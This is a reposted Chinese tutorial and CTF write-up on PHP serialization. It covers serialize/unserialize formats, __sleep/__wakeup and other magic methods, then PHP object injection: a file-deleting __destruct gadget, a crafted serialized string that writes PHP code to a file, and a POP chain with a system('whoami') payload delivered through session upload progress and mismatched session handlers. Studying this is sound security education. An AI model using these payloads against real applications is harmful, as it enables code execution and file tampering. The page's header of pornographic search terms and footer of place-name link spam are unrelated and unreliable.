国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

簡單分析PHP中序列化用法介紹

2024-05-04 21:50:03
字體:
來源:轉載
供稿:網友

0x00 序列化函數

serialize():返回帶有變量類型和值的字符串

unserialize():想要將已序列化的字符串變回 PHP 的值

測試代碼:

  1. <?php 
  2.   class test{ 
  3.      var $a
  4.      var $b
  5.      function __construct($a,$b,$c){ 
  6.       $a  = $a
  7.       $this->b = $b
  8.      
  9.      } 
  10.     } 
  11.      
  12.     class test1 extends test{ 
  13.      
  14.       function __construct($a){ 
  15.        $this->a = $a
  16.       } 
  17.      } 
  18.     $a = 'hello'
  19.     $b = 123; 
  20.     $c = false; 
  21.     $d = new test('helloa','hellob','helloc'); 
  22.     $e = new test1('hello'); 
  23.      
  24.     var_dump(serialize($a)); 
  25.     var_dump(serialize($b)); 
  26.     var_dump(serialize($c)); 
  27.     var_dump(serialize($d)); 
  28.     var_dump(serialize($e)); 
  29. ?> 

運行結果:

  1. string 's:5:"hello";' (length=12) 
  2. string 'i:123;' (length=6) 
  3. string 'b:0;' (length=4) 
  4. string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46) 
  5. string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46) 

序列化字符串格式:變量類型:變量長度:變量內容.

如果序列化的是一個對象,序列化字符串格式為:

變量類型:類名長度:類名:屬性數量:{屬性類型:屬性名長度:屬性名;屬性值類型:屬性值長度:屬性值內容}

將上述結果反序列化輸出,執行結果:

  1. string 'hello' (length=5) 
  2. int 123 
  3. boolean false 
  4. object(test)[1] 
  5.   public 'a' => null 
  6.   public 'b' => string 'hellob' (length=6) 
  7. object(test1)[1] 
  8.   public 'a' => string 'hello' (length=5) 
  9.   public 'b' => null 

0x01 對象序列化

當序列化對象時,PHP 將在序列動作之前調用該對象的成員函數 sleep()。這樣就允許對象在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復對象時, 將調用 wakeup()成員函數。

在serialize()函數執行時,會先檢查類中是否定義了 sleep()函數,如果存在,則首先調用 sleep()函數,如果不存在,就保留序列字符串中的所有屬性。

在unserialize()函數執行時,會先檢查是否定義了 wakeup()函數。如果 wakeup()存在,將執行__wakeup()函數,會使變量被重新賦值。

serialize()測試代碼:

  1. <?php 
  2.   class test{ 
  3.      var $a
  4.      var $b
  5.      function __construct($a,$b,$c){ 
  6.       $this->a  = $a
  7.       $this->b = $b
  8.      
  9.      } 
  10.      function __sleep(){ 
  11.       echo "b has changed"."/n"
  12.       $this->b = 'hib'
  13.       return $this->b; 
  14.        
  15.      
  16.      } 
  17.      function __wakeup(){ 
  18.       echo "a has changed"."/n"
  19.       $this->a = 'hia'
  20.      
  21.      } 
  22.     } 
  23.      
  24.     class test1 extends test{ 
  25.      
  26.       function __construct($a){ 
  27.        $this->a = $a
  28.       } 
  29.      } 
  30.      
  31.     $d = new test('helloa','hellob','helloc'); 
  32.     $e = new test1('hello'); 
  33.      
  34.     serialize($d); 
  35.     serialize($e); 
  36.      
  37.     var_dump($d); 
  38.     var_dump($e); 
  39. ?> 

執行結果:

  1. b has changed b has changed 
  2. object(test)[1] 
  3. public 'a' => string 'helloa' (length=6) 
  4. public 'b' => string 'hib' (length=3) 
  5. object(test1)[2] 
  6. public 'a' => string 'hello' (length=5) 
  7. public 'b' => string 'hib' (length=3) 

unserialize()測試代碼:

  1. class test{ 
  2.      var $a
  3.      var $b
  4.      function __construct($a,$b,$c){ 
  5.       $this->a  = $a
  6.       $this->b = $b
  7.      
  8.      } 
  9.      function __sleep(){ 
  10.       echo "b has changed"."/n"
  11.       $this->b = 'hib'
  12.       return $this->b; 
  13.        
  14.      
  15.      } 
  16.      function __wakeup(){ 
  17.       echo "a has changed"."/n"
  18.       $this->a = 'hia'
  19.      
  20.      } 
  21.     } 
  22.      
  23.     class test1 extends test{ 
  24.      
  25.       function __construct($a){ 
  26.        $this->a = $a
  27.       } //Vevb.com 
  28.      } 
  29.      
  30.         $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ; 
  31.         $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ; 
  32.      
  33.         var_dump(unserialize($d)); 
  34.         var_dump(unserialize($e)); 

運行結果:

  1. a has changed 
  2. object(test)[1] 
  3.   public 'a' => string 'hia' (length=3) 
  4.   public 'b' => string 'hellob' (length=6) 
  5. a has changed 
  6. object(test1)[1] 
  7.   public 'a' => string 'hia' (length=3) 
  8.   public 'b' => null 

0x02 PHP序列化的利用

1、magic函數和序列化

參考:php對象注入

除了 sleep()和 wakeup()函數,在序列化時會執行外,還有下面幾種利用方式。

  1. Class File 
  2.  { 
  3.   function __construct($var,$file1,$file2){ 
  4.    $this->var = $var
  5.    $this->file1 = $file1
  6.    $this->file2 = $file2
  7.    echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined'
  8.   } 
  9.   function __destruct(){ 
  10.    unlink(dirname(__FILE__) . '/' . $this->file1); 
  11.    echo $this->file1.'deleted'
  12.   } 
  13.   function __toString(){ 
  14.    return file_get_contents($this->file2); 
  15.  
  16.   } 
  17.  
  18.  
  19.  } 
  20.  
  21. // $file = new File('hello','123.txt','456.php'); 
  22. // var_dump(serialize($file)); 
  23. echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}'); 

( construct()函數,在實例化一個對象時被調用,一般用來給屬性賦值, destruct()在實例化對象完成后執行,__toString()函數在echo一個對象時被調用)

construct()函數內定義了三個變量,var這個沒什么暖用,file1和file2,我們在序列化字符串中定義為已經服務器上已經存在的兩個文件123.txt和456.php,destruct()中有一個unlink方法,是刪除file1,__toString()中,讀取file2的內容。

執行結果:

123.txtdeleted

查看源碼:

<?php  echo 123; ?>123.txtdeleted

將字符串反序列化后,由于已經對變量賦過值,那么就不會再執行 construct()函數,在 construct()中賦值的變量也是無效的。上述代碼中 destruct()方法在在反序列化后,實例化對象結束后執行了, tostring()函數在echo unserialize()處,也被執行了

如果說在當前頁面中有request系列函數,那么就可以造成php對象注入:

http://drops.wooyun.org/papers/4820

2、三個白帽挑戰賽第三期

是一道源碼審計題,題目大致是sql注入結合序列化寫入文件

部分源碼也是在某個大神 博客 看到的(由于我沒有做過題,所以我只截取了和序列化漏洞相關的部分源碼):

  1. class Cache extends /ArrayObject 
  2.   public $path
  3.   function __construct($path
  4.   { 
  5.     parent::__construct([],/ArrayObject::STD_PROP_LIST | /ArrayObject::ARRAY_AS_PROPS); 
  6.     $this->path = $path
  7.     if(file_exists($path)){ 
  8.       $this->cache = unserialize(file_get_contents($this->path)); 
  9.     } 
  10.   function offset(){ 
  11.   //一些不知道干嘛用的代碼 
  12.   } 
  13.  
  14.   } 
  15.  
  16.   function __destruct() 
  17.   { 
  18.     $cache = $this->serialize(); 
  19.     file_put_contents($this->path, $cache); 
  20.      
  21.   } 
  22.  

又由于我沒有做過題。。。。所以模擬了這樣一個頁面去實例化:

  1. include('cache.php'); 
  2. $cache = new Cache('path.txt'); 

這題好像是這樣的:

通過SQL注入,可控一個文件,假設可控的是path.txt這個文件(在實際的題目中,SQL注入權限不夠,web目錄下不可寫文件,但其他目錄可寫,已知目錄下有文件md5(username).txt,文件名知道,內容可控),這段代碼的意思是,判斷該文件存在后,讀取文件內容,并且反序列化內容,結束時再經過序列化存進文件中。所以可以在可控文件中構造序列化字符串,改變當前的path屬性為我們想要的目錄。

  1. path.txt: 
  2.  
  3. C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:/wamp/www/test/path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 

上述字符串是通過輸出serialize(一個實例化的Cache對象)構造的,當__construct()執行時,就會將上述字符串反序列化,此時已經實例化了一個cache對象,而它的path值變成了我們定義的”F:/wamp/www/test/path.php”,并且多了一個cache屬性,值為 <?php echo 123; ?> ,這里的屬性名cache是可以隨意取的,但如果源碼中:

$cache = $this->serialize();

變成了:

$cache = serialize($this->cache);

那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;屬性名就必須和源碼serialize($this->cache)當中的屬性名相同。

所以,現在服務器上其實有兩個對象,一個是 $cache = new Cache('path.txt'); 定義的$cache,它的path屬性值為path.txt;另一個對象是

C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:/wamp/www/test/path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的對象,它的path屬性的值為path.php。

兩個對象實例化結束后,會調用其__destruct()方法,將對象自身序列化,寫入path屬性定義的路徑中。這樣就將包含 <?php echo 123; ?> 的內容寫進了path.php中。

3、安恒ctf web3

一道源碼審計題,解題思路是session上傳進度,和session序列化處理器漏洞相結合。

session上傳進度:

參考: upload-progress

當 session.upload_progress.enabled INI 選項開啟時,在一個上傳處理中,在表單中添加一個與INI中設置的 session.upload_progress.name 同名變量時,$_SESSION中就會添加一個保存上傳信息的session值,它的session名是 INI 中定義的 session.upload_progress.prefix 加表單中的post的 session.upload_progress.name

測試代碼:

  1. <form action="" method="POST" enctype="multipart/form-data"
  2.  <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> 
  3.  <input type="file" name="123123" /> 
  4.  <input type="submit" /> 
  5. </form> 
  6. <?php 
  7.  session_start(); 
  8.  var_dump($_SESSION); 
  9. ?> 

(要查看到上傳session,INI貌似要設置這個session.upload_progress.cleanup = Off)

session序列化處理器:

參考:session序列化

當session.auto_start = 0時:

兩個腳本注冊 Session 會話時使用的序列化處理器(session.serialize_handler)不同,就會出現安全問題。

經過測試發現在1.php頁面注冊session.serialize_handler=‘php_serialize’;

在2.php中注冊session.serialize_handler=‘php’;

那么在1.php中偽造一個格式為:豎線加上對象序列化后的字符串

如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

那么會按照 php 處理器的反序列化格式讀取數據,成功地實例化了該對象。

反之,如果是從php->php_serialize,是不可行的。

當session.auto_start = 1時:

只能注入 PHP 的內置類

web3 源碼:

  1. class.php: 
  2.  
  3.     <?php  
  4.     class foo1{ 
  5.             public $varr
  6.             function __construct(){ 
  7.                     $this->varr = "index.php"
  8.             } 
  9.             function __destruct(){ 
  10.                     if(file_exists($this->varr)){ 
  11.                             echo $this->varr; 
  12.                     } 
  13.                     echo "這是foo1的析構函數"
  14.             } 
  15.     } 
  16.      
  17.     class foo2{ 
  18.             public $varr
  19.             public $obj
  20.             function __construct(){ 
  21.                     $this->varr = '1234567890'
  22.                     $this->obj = null; 
  23.             } 
  24.             function __toString(){ 
  25.                     $this->obj->execute(); 
  26.                     return $this->varr; 
  27.             } 
  28.             function __desctuct(){ 
  29.                     echo "這是foo2的析構函數"
  30.             } 
  31.     } 
  32.      
  33.     class foo3{ 
  34.             public $varr
  35.             function execute(){ 
  36.                     eval($this->varr); 
  37.             } 
  38.             function __desctuct(){ 
  39.                     echo "這是foo3的析構函數"
  40.             } 
  41.     } 
  42.      
  43.     ?> 
  44. index.php: 
  45.  
  46. <?php 
  47.      
  48.     ini_set('session.serialize_handler''php'); 
  49.       
  50.     require("./sessionTest.php"); 
  51.       
  52.     session_start(); 
  53.     $obj = new foo1(); 
  54.       
  55.     $obj->varr = "phpinfo.php"
  56.      
  57.     ?> 

想辦法讓程序執行foo3的excute()函數,就要通過foo2的 toString(),要執行foo2的 toString()就要通過echo foo2,剛好foo1的__deatruct()有段這樣的代碼 echo $this->varr;

所以這樣構造:

  1. include('class.php'); 
  2. $t1 = new foo1; 
  3. $t2 = new foo2; 
  4. $t3 = new foo3; 
  5. $t3->varr = "system('whoami');"
  6. $t2->obj = $t3
  7. $t1->varr = $t2
  8.  
  9. $s1 = serialize($t1); 
  10. var_dump($s1); 

構造出這樣一串:O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

所以構造一個表單,向class.php上傳文件,通過session上傳進度保存的session,來觸發session序列化漏洞,由于INI中設置的序列化處理器為php_serialize,而index.php中將其設置為php,就使得偽造的session被成功地實例化了。

有兩類不同的插法~

1、將序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

session名變成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload會替換整個session值

2、將序列化字符串插入post內容中

因為session會存上傳文件的內容和文件名,所以也可以將序列化字符串插入name、filename.文件上傳原本的session值一直到name前面一個參數為止,變成了session名,name參數|后面的payload變成了session值.

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 盐山县| 平顶山市| 桂东县| 南平市| 嘉善县| 阿城市| 芜湖县| 石泉县| 大同县| 上杭县| 乌兰察布市| 团风县| 涟源市| 闵行区| 滦平县| 稻城县| 嘉祥县| 甘德县| 宁陵县| 怀仁县| 碌曲县| 漠河县| 湖南省| 彰化县| 郑州市| 布拖县| 象州县| 佛冈县| 萍乡市| 蒙城县| 凤城市| 米脂县| 黎平县| 禹城市| 河东区| 遂溪县| 茌平县| 永吉县| 小金县| 小金县| 崇仁县|